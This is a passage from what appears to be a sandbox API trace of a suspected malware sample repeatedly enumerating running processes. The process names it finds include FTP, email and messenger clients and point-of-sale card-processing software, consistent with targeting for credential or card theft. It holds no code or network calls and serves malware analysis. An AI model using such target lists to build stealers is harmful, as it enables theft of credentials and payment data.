th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0299.210] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0299.212] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0299.214] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0299.215] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0299.217] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0299.219] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0299.220] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0299.270] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0299.272] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0299.273] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0299.275] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0299.277] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0299.278] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0299.280] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0299.282] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0299.283] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0299.285] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0299.287] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0299.288] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0299.290] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0299.292] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0299.294] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0299.296] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0299.298] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0299.300] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0299.302] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0299.304] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0299.306] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0299.308] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0299.310] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0299.312] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0299.364] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0299.366] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0299.368] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0299.369] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0299.371] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0299.373] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0299.375] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0299.377] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0299.379] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0299.381] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0299.383] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0299.385] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0299.387] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0299.389] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0299.391] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0299.393] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0299.394] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0299.396] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0299.441] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0299.443] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0299.445] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0299.446] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0299.448] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0299.450] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0299.452] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0299.453] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0299.455] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0299.458] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0299.459] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0299.461] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0299.462] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0299.464] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0299.466] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0299.468] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0299.469] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0299.471] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0299.521] CloseHandle (hObject=0x344) returned 1 [0299.521] Sleep (dwMilliseconds=0x64) [0299.567] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0299.582] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0299.583] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0299.585] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0299.586] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0299.587] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0299.589] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0299.590] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0299.592] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0299.594] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0299.595] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.597] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.598] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0299.600] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.601] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.602] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.604] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.606] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.648] Process32Next (in: hSnapshot=0x344, 